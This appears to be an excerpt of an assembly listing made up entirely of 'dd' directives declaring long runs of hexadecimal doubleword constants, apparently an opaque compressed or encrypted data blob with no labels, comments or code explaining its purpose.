dd 152199Bh, 850A62F9h, 70302814h, 6507FDAFh, 2F9C920Dh
dd 5481E640h, 7A4000C7h, 3F06B7FFh, 0F02478BBh, 9700CC6Dh
dd 0FCF49048h, 36C5009Ah, 46288007h, 0C8F737BAh, 0E800D44Ch
dd 3322F63Dh, 5509F53h, 66F1EBE5h, 0B9CC00BDh, 0F3E4AED3h
dd 0E247B212h, 502A9400h, 710ED9h, 140881D2h, 5B8DE64Eh
dd 0ACCDF48h, 0ECE2BEC3h, 48ED6F00h, 877AC6h, 0B9A9D274h
dd 53F35734h, 7D3A43FAh, 9678008Ch, 0D0354E67h, 5CB0A6h
dd 34FEE915h, 44790A3Ch, 525DD400h, 61D02557h, 15370014h
dd 56BAFB5h, 9E003FD5h, 31F3F86Eh, 14DF074h, 7B7CDA0Ah
dd 0C4F2AC91h, 8D00F904h, 0F76113C5h, 1B0910h, 113EF8BFh
dd 0EA1E8BB9h, 3206CB0Ch, 80B886h, 0EDB2BC0Ch, 0E8995F69h
dd 0E9E4A601h, 4F085E9Bh, 8BB06280h, 93AD650Eh, 0A5CECC09h
dd 0E79820C6h, 38FF53A7h, 0C982E9EAh, 0C20D1B2Ch, 1A988443h
dd 3B0015E5h, 5BAD6E28h, 55CFD6h, 0E33E0763h, 0C8F3DB6Ah
dd 0A8060301h, 0A94DAAEEh, 73001C23h, 725912DBh, 0B200245Bh
dd 0ACC7CBDDh, 92FB30FFh, 0D4BA00E8h, 23C20FBCh, 9A007664h
dd 71E946F8h, 1152012h, 6A05CAA4h, 0C8B90821h, 2B031C37h
dd 4A2C3461h, 19DE60h, 289BDEE7h, 0D3FA24AFh, 528BA409h
dd 0E08A7DA8h, 0EC92DCh, 59FA2010h, 9F05398Dh, 7FC71FDEh
dd 245CC00h, 0E47E08h, 0B217C6A9h, 0D77C41F1h, 0C1A8C0Eh
dd 0C8801DD9h, 89A4BF3Eh, 9D69071Bh, 20E1C4Fh, 3860DDAAh
dd 530003E0h, 0F4355C70h, 400F71h, 0EC89C10h, 6065833Ch
dd 0F908FA01h, 0EE3026F8h, 4C2581C0h, 0E30077F0h, 0D21FECB9h
dd 460E1D85h, 20091848h, 76B53DEBh, 990F1B97h, 31B81987h
dd 0CBA0D3EDh, 4E70795Dh, 0D90747F2h, 719E5E02h, 5841D430h
dd 26E3000Eh, 7710B5D3h, 70004333h, 0CB6A44B3h, 38C67D1Ch
dd 5281261Fh, 0EFB15B7Ah, 0ED8C60ADh, 662BC00h, 0B9BE275h
dd 22BA001Dh, 0B6DFF057h, 4C0177A8h, 587146C6h, 0BE6075F4h
dd 997300F6h, 0A75B5754h, 0C8000E06h, 0CF88A436h, 1E560A81h
dd 0DB40C2h, 0EA62DFE2h, 7662046Fh, 60255F61h, 0ECBDB829h
dd 45A10F31h, 0E4A18374h, 0D1FDEEAFh, 0E33C6488h, 75522A00h
dd 6AE54525h, 8386026Bh, 97B479F2h, 0F098C1E3h, 7000F9CCh
dd 763ED9A6h, 0C752A9h, 0C6CB4E2Ah, 0F03D5702h, 87B6E200h
dd 91DA42A1h, 1932E78h, 0F53DBE6Ch, 4F3C681Ch, 3FE0A757h
dd 8E1347F7h, 0B91C6203h, 0BADAF8h, 3CE47490h, 1346DF3Ah
dd 97083861h, 50314005h, 3A596FE0h, 1E0099FFh, 0CAB08E9h
dd 36007086h, 47156CFAh, 3ADBB8h, 0F8B51234h, 5EDE0825h
dd 59817E18h, 0DD3890h, 27B97437h, 2539A217h, 515E1E00h
dd 596732DBh, 5B8B0903h, 8800DA5Ch, 0CEB931B0h, 7984FD00h
dd 0BB2BC90Ch, 861B01E6h, 389363CFh, 0ED0FF0Bh, 14DC0CE4h
dd 9EF180FDh, 396EBF8Fh, 3068000Bh, 95C1AC58h, 16F6525Ch
dd 0B2363F00h, 7DDF69A7h, 3E7B44h, 0AF9DC923h, 319052A2h
dd 113BEF01h, 0C0610338h, 20F817EDh, 8A530008h, 7CFAE856h
dd 0A900165Fh, 12A481A7h, 64884Eh, 91298AEBh, 0AF23E82Eh
dd 488D8F01h, 0FC8017A1h, 6041E0h, 0F2CF320Fh, 9C1D1856h
dd 82EAAE00h, 0AA6377F6h, 2440071h, 0D22E629Bh, 691807C0h
dd 9F06B89h, 0D9AE00FBh, 86296F2Dh, 0E6E60858h, 95B6C002h
dd 0A07CC492h, 788EC88Ch, 81E70137h, 518FC52Dh, 8071D135h
dd 789D3A21h, 0E4EA3CFh, 0AF4B66DDh, 6A726D00h, 210CEC80h
dd 58130331h, 0D2BD0038h, 0F4405496h, 0C037E5DCh, 2A554968h
dd 2015B440h, 1EDCDE19h, 796C704h, 0D18BBAECh, 836B3B73h
dd 4EE45850h, 926804DCh, 115F052h, 0FA74A90h, 1891881h
dd 80B68A0Ch, 0DE41E691h, 8CC7D3h, 1894B043h, 6999F419h
dd 9D6F7601h, 973158CFh, 80461280h, 12D65706h, 0D0853600h
dd 0C8196C17h, 66520058h, 0AD7EA3ABh, 1200AA8Ch, 6373B9EDh
dd 3CBFB32h, 0F52FD878h, 929E8D5Ch, 0DE0D9B01h, 0BA17D27Bh
dd 0E657F0h, 1EB3BBA1h, 9B2C59E3h, 4719331Fh, 0CEE10345h
dd 83EA043Bh, 1506501h, 80111D11h, 701B5E0Fh, 0A67ACAF9h
dd 0E84A8400h, 33C13918h, 1981F8EAh, 19878EE5h, 226510EDh
dd 0DF48C092h, 57CDE2F6h, 0A4376A71h, 798C20C0h, 78201F0h
dd 4253D29h, 402EE8F3h, 17374C3Fh, 6A1F42BCh, 99B77E30h
dd 0E04A078Dh, 86C9662Bh, 4D06760Dh, 47CD091Fh, 10060F50h
dd 3C1F65E5h, 16FCBA0Bh, 94BFE280h, 0C96E1813h, 0CFEA0A1h
dd 4B65C0h, 443CA458h, 94366E03h, 3988AE1Dh, 0CEEEA640h
dd 9F1590h, 8C0583F7h, 957F8BF6h, 8D00EDF0h, 6F974863h
dd 39CAA910h, 0BA384D73h, 210D0C00h, 0B0DB8CF6h, 46189C78h
dd 4541F78Bh, 0E2D0089Fh, 50C90A1h, 7761888h, 6AF51452h
dd 81E84010h, 900EB591h, 0E01B7279h, 750A1115h, 86D61F19h
dd 33B1F97h, 42A9ACF9h, 298F60A7h, 9801058Bh, 43C20A94h
dd 10989C84h, 0DB385AF7h, 0E1012707h, 18BCE817h, 186F068Bh
dd 0C077C726h, 0F8C2F40Ch, 98015h, 831F4832h, 5EFEE21Bh
dd 82974E3Dh, 0DCA3613Fh, 3324B898h, 10E58479h, 0A8C6D999h
dd 0F08790h, 0F3F5B509h, 975E7C2Eh, 8B00E67Dh, 9C9A5C85h
dd 2AAAEEh, 5BD2E5D4h, 733001F5h, 9023D01h, 0B2969B0Ah
dd 3A10E4E0h, 0E5032153h, 0C61C8D66h, 4FA393E8h, 0B8C20BE0h
dd 8F9ADF94h, 772985BCh, 8858B011h, 236A447Bh, 809ABA27h
dd 7CB4C9Ch, 0E2A115EAh, 1E1F800Ah, 5F0EA1Fh, 4D78DDC9h
dd 0F1BC41F4h, 0F3FAE00Bh, 0F2D64806h, 0B08023h, 0A6A07F09h
dd 634B5261h, 18AC6830h, 3801FEh, 0BD0230D0h, 0CD5E32C5h
dd 0E0BF600h, 9490C198h, 71F26322h, 7CADBF7h, 95854C40h
dd 0BD05C8F5h, 9C40BF48h, 0E1F4DE15h, 31103CC3h, 92F44E2Dh
dd 953620C1h, 69809D42h, 0C131E515h, 0E02416BDh, 0FCA22C17h
dd 0DE988000h, 0D89204F5h, 86EC1524h, 5F8434B9h, 0BFF33062h
dd 0C2F80615h, 289F4BE8h, 8D88000h, 0C4BD1FEBh, 0B3A82A01h
dd 0E36B01C0h, 0F8535196h, 78ABF459h, 0BB08CB00h, 0E1F90B56h
dd 61F242Fh, 0AD6C806Ch, 74F6227Bh, 9500F470h, 1461779h
dd 3FB2204Ch, 36282E57h, 0DCA80088h, 5BC286B0h, 321AD669h
dd 85B90E38h, 805BCDD4h, 87F4E0F1h, 0F3361CADh, 0C4271486h
dd 960E3A9Eh, 24C04389h, 0DB87959Ch, 741A0900h, 1C72761Fh
dd 93C6009Bh, 550A6612h, 0A904B10Bh, 11EE1785h, 0E260F887h
dd 60899127h, 180580CCh, 231F1451h, 3206303h, 2EF82777h
dd 0A964541Ah, 0CA04B248h, 383B0C95h, 28F96E58h, 0BD8698C8h
dd 0F830ADE1h, 82631476h, 49383408h, 0A4E28E0Ch, 0C8B0C80h
dd 80BA85E9h, 81D1938h, 8D838E22h, 0E818D287h, 77D8CAFh
dd 5960E476h, 0C3690F4Bh, 0F2058A8h, 17C380AEh, 8CE00FE2h
dd 0F50EAC75h, 0C2D1F3Eh, 1AB03Ch, 0ABEB6658h, 0EF5FBE8Ah
dd 4E286092h, 0BA00DC1Fh, 9A22D418h, 0F33A2Ah, 499FDF6Ah
dd 0A90A5597h, 0E231DE60h
dd 61BE68D4h, 77911892h, 5BAC209Fh, 0D41F013Ah, 0FF1F11D8h
dd 0F9DD0748h, 57CFC141h, 0A0408306h, 7B8DA905h, 8FE029F8h
dd 5C6A04FCh, 0F88776h, 8CC421B6h, 0A1119E00h, 5FF3C631h
dd 7B94004Ah, 9B5C0E06h, 0BD00729Ch, 91022108h, 2E16CCDh
dd 0F5CB59A3h, 0B09BF451h, 72D481h, 7A0CAAh, 1028BA8Eh
dd 6E0A610Fh, 5093E125h, 4CD634AAh, 0D01C91h, 81D0A8CEh
dd 90609DB7h, 0DBF9AD18h, 0B02E542Dh, 85910049h, 73D677D2h
dd 7948D098h, 90580CCh, 38581DCCh, 1CC89390h, 0A8E0BA00h
dd 0D40B8759h, 76A20814h, 137A07D0h, 62B0459Eh, 0A0F395E1h
dd 26055E9Ch, 9E84F2E2h, 0EDF5C655h, 0E8A811CAh, 6D0C017Ah
dd 19F8520Ah, 0DCC106E0h, 30FCEEF5h, 72AC1654h, 0E9C46A00h
dd 0BF1B7FE5h, 0BE981CDDh, 66ED8F60h, 0D3B9D03h, 14C0A0CAh
dd 0E912975Fh, 0C0F8541h, 8A2AE09Eh, 48178ACh, 3C55ADD7h
dd 668C81FDh, 1C29D0EAh, 16D49A17h, 0F77B4400h, 0F1079Bh
dd 69D07546h, 0A1F30E49h, 0B1E0144Ch, 8066121Ah, 0F80A4C71h
dd 9652A382h, 312A286Eh, 0F700C84Eh, 44B71745h, 928C0D86h
dd 0D5114434h, 38243226h, 12DF4841h, 46C8DC42h, 499A6A68h
dd 0E00480A0h, 27769531h, 58F0F648h, 4B206219h, 0ED20648Eh
dd 2858C199h, 0E0C01E1h, 2800AE08h, 85E21686h, 6003250Bh
dd 1D9CB192h, 4A00AB31h, 511F4597h, 6903243Dh, 400421C5h
dd 0B36408F9h, 2921AD99h, 3B3F1D91h, 18BB5199h, 0AD04F662h
dd 0CB384C88h, 0D50F7CB0h, 6084BA0Bh, 0E224C75Fh, 4040B553h
dd 0F80A0A30h, 880FBDD8h, 0B0009849h, 25A91F37h, 0FC080917h
dd 7430ACA9h, 8C0B3418h, 38DD38ACh, 7C57A128h, 0F034907Ah
dd 0E6880998h, 0AC229A20h, 0D0E84727h, 124CF546h, 0E3A78068h
dd 5C2E90FBh, 80413CA8h, 5CE90D20h, 482E4887h, 6BC6080Ch
dd 0E60B0139h, 51402533h, 20222433h, 545A1858h, 0F202EA24h
dd 604C124Bh, 7686C5Eh, 0BE6F34F4h, 412D81E3h, 24E025A7h
dd 94882E50h, 499C12B9h, 6A18263Ch, 91B94461h, 5180FAAEh
dd 0A29E1F67h, 94091E79h, 882A9C3Ch, 28AA5C80h, 8CE08B07h
dd 0CB70381Bh, 4191D17h, 5087F5BDh, 0F7C090C0h, 70C99E74h
dd 940F82BEh, 89F0402Ch, 1024E1E5h, 9348C01Ch, 0B10A6975h
dd 0A1DC6CA8h, 2943C430h, 3392B0Bh, 0D517F99Bh, 20A59C72h
dd 790750BCh, 4C1D967Dh, 7FC1E174h, 3CD53FB3h, 5C18BED2h
dd 0FA0EDC9Fh, 8E408F43h, 9B9C095Ch, 9A341F0Bh, 59C2570h
dd 59EE093h, 0A3CFBFA8h, 330C573h, 4E15DC8Ch, 3B1BF2F8h
dd 0D6C931Fh, 4745354h, 5CD3C6D4h, 0A18CA8C1h, 38064050h
dd 91DA0061h, 9C1D930Ah, 90B915BEh, 2B60EF42h, 62A1F890h
dd 50D31A24h, 12521702h, 0F78E02F6h, 0A35088E0h, 4D5E4809h
dd 0C042419h, 0EBCE2C80h, 10F22614h, 53950730h, 2D2B0072h
dd 0E02EA8F7h, 77BC685Dh, 0F489C960h, 9B754C1h, 0F09124B8h
dd 26F8E420h, 7548927Ah, 2E5C002Ch, 0F6C1131Ch, 0A9970387h
dd 0BD955386h, 89CF02C7h, 80E1A4A0h, 1F035715h, 5C7B6E75h
dd 0C5380087h, 5A26968Ch, 21479F3h, 29D01409h, 0A08808D2h
dd 5DF160F4h, 4A51962Eh, 697BE889h, 9960DD00h, 73F4E8F3h
dd 0C55316C1h, 45F40217h, 289033E1h, 9A007021h, 9B8CFF1Ch
dd 987F5DF5h, 0D618129Bh, 98800086h, 10E5D5EAh, 968BC307h
dd 0D80CF520h, 0A8974938h, 0B0A10C03h, 187501DEh, 0C246FC98h
dd 20629421h, 0CCF30583h, 0D2014820h, 2D98C1A8h, 0C0481B1Ah
dd 0A4BD14DBh, 2E05D874h, 9109F65Bh, 298D61D4h, 163A1720h
dd 24E88810h, 0AD0104C1h, 8703FEBDh, 37D06425h, 7098F3h
dd 788D90A0h, 192434BEh, 8B9AD600h, 811B2D79h, 0E89F5951h
dd 786C8F28h, 4C7B49F6h, 41EA0805h, 669443B5h, 38332E72h
dd 0D89B2A15h, 0E09C4C09h, 2914FC76h, 11080C39h, 73D48027h
dd 98151B89h, 990CA048h, 5A290053h, 44078221h, 0BF539F97h
dd 77398544h, 0A2CD48Ah, 43F100C8h, 99AD8D70h, 80604E3Ah
dd 97149E12h, 649041E7h, 20753876h, 2C23C917h, 40C40DABh
dd 0CE1AA97Ah, 1D06452h, 7415C458h, 0C038F422h, 0C11B29A0h
dd 0CC539329h, 0B08E3B8Ah, 92F789D0h, 2804B8A4h, 15A4A9FAh
dd 0B0910A8Eh, 882AB900h, 831BF5E9h, 4A21F302h, 91F45BACh
dd 6C18F908h, 189C1712h, 4CB07C15h, 5F00714Bh, 7115C253h
dd 499D9A29h, 2708684Bh, 8C018B73h, 0CE46E154h, 0C7FC40F6h
dd 486825DDh, 0D320DC94h, 0CAFE0A7Fh, 984162Bh, 7423B820h
dd 3100AA2Fh, 6A999FF4h, 311AC12h, 0DFF09C33h, 20DF491Eh
dd 5C6DE484h, 92142807h, 2240ECA9h, 78F7B146h, 1873700Eh
dd 6890AAE9h, 3017F4Ah, 453ABD7Bh, 60395D6Fh, 0E2B02F24h
dd 16009510h, 0E9386ACFh, 8E24D476h, 124A0984h, 8469442Eh
dd 9218E0ACh, 6049D098h, 0E61052Ch, 2782CC38h, 1C10608Ah
dd 20305C37h, 56F5F003h, 180233B7h, 0AACE0CA2h, 5C070DAh
dd 0BAA14462h, 2A940074h, 0CFF1C895h, 1CD71224h, 50BF2D80h
dd 1F0C4Ah, 0F06A252Ah, 0AAAD589Dh, 0B1349307h, 8582BA73h
dd 20C094BEh, 2D0E6113h, 0A3771F01h, 0F8918CF8h, 0EEC364h
dd 8D6B0DE9h, 0F79F48E2h, 0A0A04690h, 18A81E80h, 595233F0h
dd 84C38430h, 0AA40F401h, 5AC02491h, 0A80EA1B8h, 8AA2A1h
dd 1758F5DBh, 1CF1337h, 0BD68C0A7h, 0D8E0BEC5h, 2270B7Eh
dd 0C88832Ah, 8C8C1F06h, 5B320A05h, 61D20C0Ch, 0E4A4DE90h
dd 3BCE7405h, 0A490791Ah, 5C5001F9h, 773A886h, 0CE48A1ACh
dd 0F56BF366h, 0BBE03CD3h, 8F7FABF3h, 8100709Eh, 9D65CF0Bh
dd 6697054Ah, 0A4839A37h, 137794A4h, 0D8F2D22Ah, 8A01F79h
dd 0C179809Bh, 0FC41CD4Eh, 56631BF8h, 97EB9421h, 8E83D1E2h
dd 749A00FCh, 5C0323CBh, 9083E872h, 62E85A1Eh, 97CED0Ch
dd 2C3B0D26h, 964C4580h, 845097h, 0D6832D9Bh, 0A9237507h
dd 0FBA7B501h, 3671F90Fh, 46703081h, 0D87EC8F3h, 90C27351h
dd 0C0E678ADh, 50FF4998h, 322C89h, 2EC75503h, 6E189E36h
dd 9196CA01h, 2D5C9009h, 0F852980h, 6F7A4B5h, 0F865D628h
dd 0B6007F74h, 1FF04CE2h, 9A18F9Eh, 231256E4h, 0B46AC4E0h
dd 0CFE32100h, 0ECAD4154h, 0CE661E2Eh, 2AE847FAh, 73618CF6h
dd 4900FC72h, 0E22C064Ah, 249462A7h, 4A3658h, 5390203Ch
dd 8D01AE66h, 83BDC659h, 87CC031Dh, 0EE100028h, 0B2168645h
dd 640A333Bh, 0C44F0D2Eh, 0B099F582h, 0FE000FF0h, 5C79807Eh
dd 33611C7Dh, 0FABE6681h, 8AAE70h, 29444759h, 0B7AF029Ch
dd 4683C901h, 0BE740339h, 305070h, 0C8592C57h, 0D93AB364h
dd 8067343Ah, 0B645D546h, 7DFC5F3Dh, 0B380150h, 65F28A78h
dd 0DC1881C8h, 0DB7A375h, 0E2A0D2ECh, 0EFB000EAh, 0A17DEE71h
dd 600177BBh, 0C2511989h, 40849FB4h, 0AEAB47h, 0EE7D451Bh
dd 40E50711h, 10883920h, 0E4F65A43h, 30C3E330h, 1F89577Bh
dd 1E1FE966h, 0A208C1AEh, 8AC24387h, 0AEBDF149h, 76B2DE00h
dd 0C1D88373h, 7F3AC520h, 4D188768h, 0A5204A2Ah, 180E5430h
dd 60BAA7DAh, 0AE3B7120h, 0CCAB00D6h, 0F19297CFh, 3BC40C62h
dd 5B18C14Eh, 6A9DA701h, 60190555h, 373A6E80h, 38C58120h
dd 6E2B1F00h, 0F1C4060Bh, 0E0CB0064h, 7769B6F9h, 37000841h
dd 318B6A4Bh, 0D87FDBh, 1CBBDA18h, 0D6228E99h, 2789B400h
dd 5CB3967Dh, 6F880308h
dd 0DDACA720h, 0D462AAB1h, 0E3006426h, 33A3CABDh, 0FCD7401Ah
dd 20F71EEEh, 6D2D40B9h, 2E15D2FFh, 653AFE00h, 0A0F87129h
dd 4D52C036h, 0DD9461CAh, 1282F024h, 8F9D8038h, 85A57404h
dd 8D2C0056h, 58415F45h, 9407E5F8h, 989E10C3h, 644F3080h
dd 49DCF9C1h, 0E2F500A9h, 18944CFh, 0F301C39Ah, 3033FD02h
dd 29BC6A8Dh, 6022A822h, 87073C88h, 428412C0h, 82951111h
dd 5105DB18h, 0C040DE92h, 884D8885h, 8B4C2B00h, 0C384F3A5h
dd 183700FFh, 5646CCD4h, 0A2E0EF96h, 918A9E00h, 143BEEABh
dd 0CCF10006h, 428246C6h, 39005234h, 4DAFDE70h, 72E49A23h
dd 0DC92E74h, 0AE00025h, 3D78FBE6h, 4469F800h, 592F7595h
dd 998B0182h, 0FDC77E6Fh, 0C6DEF82Ah, 2D7BBF0Eh, 8AEA607Ah
dd 3FE25063h, 830041CDh, 0C1915FF1h, 0D217521Ch, 50009DFh
dd 0C8854B31h, 897800ABh, 7BA04324h, 140904D2h, 80E69C3Ah
dd 2136021Bh, 5634031Ch, 0C8066C62h, 71267BD9h, 0BD688026h
dd 3BA7142Eh, 0B0B80095h, 903C7E42h, 17008CB7h, 349F6FBFh
dd 0B236D9h, 0E3DF9528h, 4A3272CAh, 0C3F44250h, 488B222Eh
dd 6EBAFD00h, 63741Dh, 4ECC3010h, 16018CFFh, 50F2F700h
dd 1E33FA14h, 48EA2Fh, 0FD5837B8h, 0C816A3D5h, 5BD8FE00h
dd 2FAF910Fh, 1AE718F8h, 0B33B30E3h, 87BB7700h, 188F4789h
dd 0C63000F9h, 0A64D2CD8h, 0A23C73CCh, 0F5BC00A0h, 0ADDD3D6Ah
dd 4E60031h, 6001E7E3h, 0EE1D559Eh, 1085C639h, 6EC0262Ch
dd 7B040DBAh, 0CBB84C97h, 62684B00h, 1B766303h, 0F3809B5Ah
dd 31F190h, 1481C564h, 2917A8FBh, 0D90F3Dh, 0DBBD4FA2h
dd 84A77Bh, 0CF6FA487h, 30FD94D6h, 5759C701h, 0FC9173F5h
dd 662BF0h, 0BE65AC1Bh, 0D60EAD31h, 0F15BC900h, 0A821EFDDh
dd 407FECh, 0F03F88C7h, 19C6C2FDh, 3B8D133Dh, 43490046h
dd 0CB600224h, 0DE7C1F82h, 35880026h, 0A1CA6DB1h, 0BEB22C0Eh
dd 0C2D400D0h, 0E851AFh, 0B9DE226h, 86131A23h, 487EB22Ch
dd 7308EF00h, 20DD41h, 2B2227F5h, 6B6C1923h, 6FD4C800h
dd 473E9924h, 0F0A600BAh, 70FB1695h, 23003379h, 0D0F83E3h
dd 7E9A97h, 3A7A5BC5h, 4B625112h, 2CB38200h, 7CD115EFh
dd 75F7BEEh, 7D705CB4h, 0A6FC908Ch, 0A70090A1h, 0F5130264h
dd 34FC1ACh, 0E3425F33h, 0D9B014A4h, 9E00213Ch, 0B8DFC7FEh
dd 3C80E549h, 1903F546h, 8F2229D8h, 2074C9C0h, 1239E83Ch
dd 4F003823h, 0B9B3A96Ch, 44BC00CAh, 0ABF6A19Bh, 14007E70h
dd 0F20B3BD6h, 4C8EBBh, 4E24BF94h, 885F731Ah, 8E4DD01h
dd 1CD9E63Fh, 0D751A0D7h, 4E23003Eh, 0DC1F2889h, 877D7F2Dh
dd 56265C00h, 7BA12931h, 0FF8F07DDh, 104CE0B7h, 0BF9B6515h
dd 82ABE00h, 28F57D41h, 936D0075h, 559624C8h, 2F00ABA0h
dd 46A1323Ah, 9E267D8h, 65F1B536h, 48EF805Dh, 25D080A9h
dd 0CE5ED725h, 0C4D67C00h, 921E0Dh, 0F6F4758Bh, 78A518A7h
dd 15BF7F00h, 0AAD6B5DFh, 26610008h, 14526A47h, 6624CCDAh
dd 64039DC0h, 91948137h, 98E8E6A3h, 0E1B0075h, 8045361Ch
dd 10001666h, 0DB2F3A5Fh, 77D4FC46h, 0C26801F1h, 6AEC9742h
dd 5BD5C839h, 9A264402h, 802347C8h, 29BE7A94h, 7C612E2h
dd 0CBC800C5h, 2CEF84F8h, 0E75DB806h, 18C7D6h, 358C850Eh
dd 0EDA8BAE4h, 3AA63300h, 0EFDC849Fh, 1C0700AEh, 5CC5A274h
dd 0AA7CD13Eh, 0BDBCE800h, 4960EEADh, 0A00E00C3h, 4A37AC5Bh
dd 7700CD4Eh, 80222A21h, 8F50DEh, 0C9EC2E81h, 67E8C6E6h
dd 82005373h, 0B695FB39h, 0A61EC5h, 7D07930Eh, 0A233BB0Ch
dd 0DEA05300h, 12ECB34Dh, 0B01Ah, 5321C99h, 8969C503h
dd 573E1801h, 0B7382C44h, 0A991E8h, 0A7EAE071h, 20266E34h
dd 0B2FC5E7Ch, 46006176h, 17C710F4h, 62CB0Ch, 31366684h
dd 22698B76h, 2CCA20C5h, 6D88EA00h, 265F7106h, 2422E04Dh
dd 12410100h, 0CCDC286Ch, 350038B3h, 0B7F7642Eh, 7177ADECh
dd 813B0062h, 9D27434Eh, 2F00683Fh, 0A7ED4CFFh, 4FBB7Ch
dd 0B4B5A495h, 4AF932DCh, 1F31A300h, 0B8E4D681h, 157E34h
dd 7DC0EA16h, 82CC288Dh, 35DA022Ch, 207A9E0Eh, 0D09B3266h
dd 0C3BB00E1h, 0A7E585B2h, 2800CCE8h, 75F36F4Eh, 758A2CF7h
dd 0E9520094h, 130311DAh, 0B20238FCh, 507860A5h, 0A0884042h
dd 9B7C034Eh, 1DE11CFBh, 61DA30EFh, 0B6008091h, 0A67F65FAh
dd 5C139Bh, 0A32491Ah, 4D3DB7Dh, 0C3F2151Dh, 9FEE7440h
dd 10E95795h, 3BE81E25h, 79E08040h, 6591EC1Dh, 0CEE600CDh
dd 598B0EC6h, 0F009EFCh, 36331190h, 0E14A78Eh, 422BC3ADh
dd 0F91CDAE0h, 2F042580h, 44E96586h, 3B47DC80h, 5C5B1273h
dd 0DF6000FBh, 4A293579h, 457FB500h, 0DC5AA3A1h, 63B10971h
dd 3A80066Eh, 7CFB82AFh, 1FC15100h, 23ECFC80h, 3B5CF696h
dd 0FF8954E9h, 8A00C657h, 0D1804C58h, 10C41837h, 13B11D30h
dd 0E82300B7h, 4FA020B9h, 0B005CE15h, 46B35CF9h, 0F0E9A401h
dd 7BCC2B4Bh, 0D8B2C0C0h, 6DA75F61h, 47A39100h, 81B90C57h
dd 0C31A00F4h, 0E08DA890h, 0FCFC7218h, 92F56800h, 6726B312h
dd 9A6A0041h, 0D5A7A438h, 49010671h, 938D1746h, 0DCF4C905h
dd 9A720128h, 92F46632h, 0DBB5CC0Dh, 6513B013h, 6C8E8800h
dd 0BDCAF7h, 0C2A7A522h, 97614C08h, 98C85E01h, 7F150327h
dd 8C8C34h, 473B28AAh, 84229DA2h, 81A75D3Bh, 0B48297BCh
dd 6860D5FEh, 76F80127h, 17E64F7Dh, 817B6019h, 0CF963Fh
dd 91BAB260h, 2138EBh, 0A7F7017Ah, 88A4166Ch, 47700492h
dd 0C878E100h, 0A161D011h, 6E6000A7h, 0DDEA6B3Ch, 0B2FE9F14h
dd 0FEC38100h, 0EB50E411h, 51130077h, 0E602F3Bh, 0B377021Fh
dd 426839h, 0FE3F23A3h, 654EBBh, 2EA66713h, 2DABD35Ah
dd 25FD8A00h, 0FE53DA6Dh, 9B580189h, 9C75CDC8h, 5AFBCF54h
dd 0E7D6CED0h, 48D94312h, 42F57000h, 96A4A07h, 23FF10D8h
dd 0F672C20h, 0E77436Dh, 8C377103h, 0A016D7A2h, 13080698h
dd 13353Eh, 3B6CAE3Ch, 0A201446Eh, 1C2DDE16h, 87D1FE60h
dd 0CA80FB47h, 3DE2EB7Eh, 94008C57h, 7EACDE8h, 0AD1C953Eh
dd 3CC2A4F1h, 0C0171CFDh, 0EE484ED4h, 9ED20F39h, 0DDC03D58h
dd 0B5CB01FBh, 0F8804F02h, 49B622AEh, 4AF4C948h, 2A0B8A5h
dd 0DBB4D60Dh, 0CE600A25h, 980F9F71h, 61CDA195h, 0C46AFA4h
dd 9D47E4h, 0DDEF293Bh, 1539CBBh, 1F21D502h, 4827AA4Ah
dd 0C078C55Ch, 22BA6011h, 62009695h, 88AD8C8Bh, 142B89h
dd 0C8FCA78Dh, 4B079209h, 82420600h, 0BCC9187Bh, 8859000Fh
dd 480123D6h, 754C99F5h, 0B44B26DDh, 0A0DFBC0Bh, 0B33CBD2Ch
dd 0E96C0062h, 82E7C6E4h, 3D0DCD0Fh, 0CDAA586h, 4C103D40h
dd 0ED631DD5h, 5CBD7BAh, 88FD0D30h, 2F00482Ch, 462D53C0h
dd 395BFBEEh, 0DC80D191h, 0CB25663Ch, 563832Eh, 0F3842338h
dd 7B0A789h, 16362A7h, 12D00A6Fh, 817FD611h, 0F1CC2524h
dd 9AFC3F54h, 77190083h, 614F80C5h, 0F4794776h, 541B3303h
dd 88D5E293h, 306B27h, 397F623h, 0D489EE05h, 0D069A300h
dd 0F8227B02h, 0D67500DDh, 1D1CC20Eh, 2301DC59h, 8044290Dh
dd 0BDF0FAC6h, 8F3103CAh, 0FFB884E2h, 0F880B5CAh, 0F2E6DB07h
dd 6F0093FEh, 0CCF5E7D9h, 3CB91Fh, 82E54AEBh, 39AA53BAh
dd 9770EE00h, 55FA0AF2h, 0EF2504F7h, 0C0DD1F72h, 944A48D6h
dd 0F0CBA900h, 6C9FD57Ch
dd 3980302Eh, 94B98349h, 378BB605h, 70C006D1h, 1DD4AF2Ah
dd 0B83BE8B1h, 8FB42900h, 0B70B707Ch, 4E42871Dh, 0E268D0B0h
dd 37502423h, 36803AE0h, 93E6DB1h, 5D009614h, 40FAD6D0h
dd 0D1456Fh, 0E6F317C2h, 0C83AECB1h, 4F070B00h, 0CAB8DD33h
dd 5F120075h, 48CDB398h, 5903CBD9h, 45B21F37h, 0E598006Eh
dd 3821D66h, 5D2E43FDh, 7A16B8BEh, 0EF18C01h, 0D9F56DE3h
dd 26A60B30h, 2EB47738h, 0C7F00040h, 56AA576Bh, 58B4402Ch
dd 8D726A00h, 7AE7B77h, 296B1288h, 48C6319Ah, 0FA988062h
dd 441D0D7h, 6DF700E2h, 0B28578FCh, 775C9F86h, 805A0122h
dd 199832F2h, 20F67C20h, 270E7EBFh, 428382AEh, 87D04047h
dd 0EDE05184h, 3135A5h, 0D8449D7Bh, 0E5AA10B3h, 0D77BDE7Dh
dd 0D3D9D400h, 75F5E252h, 0A4E44932h, 2D8F310h, 0F0213780h
dd 75958054h, 0E60BF6D3h, 0FAC3965h, 16845C80h, 503C3B11h
dd 6B0BBBE0h, 845A2140h, 7CC00823h, 0C7278Ah, 2FEF111Bh
dd 7AD8FEEBh, 37D04400h, 0EC213C30h, 45390038h, 0DE652295h
dd 0BE1D840Dh, 0A040C3D5h, 0BD6A705Ch, 52F40323h, 4D31BFDAh
dd 0FB814AC0h, 292D4B00h, 1174E4A2h, 1C240083h, 85B47F88h
dd 263F8F2Ch, 652D0104h, 3CB5C663h, 16DDEF8h, 40AB2B98h
dd 0B21C81h, 8BD783h, 112A16E4h, 55505429h, 0C8A88F00h
dd 0A002DE99h, 0B073EAB4h, 9439A087h, 232E0EDDh, 7480BF43h
dd 0DBA1314Ah, 93F3111Ch, 0C94C09h, 85676B84h, 4D6C00E3h
dd 8A535C91h, 8B2A263Eh, 0DA3BB41Fh, 30D40025h, 3B48974Dh
dd 40EB00B1h, 8E6D8167h, 41736F8h, 1042CB1Ah, 404E619Eh
dd 7A349A2Ch, 1C1FB82Eh, 0FAAEDEh, 918F27ABh, 567D3753h
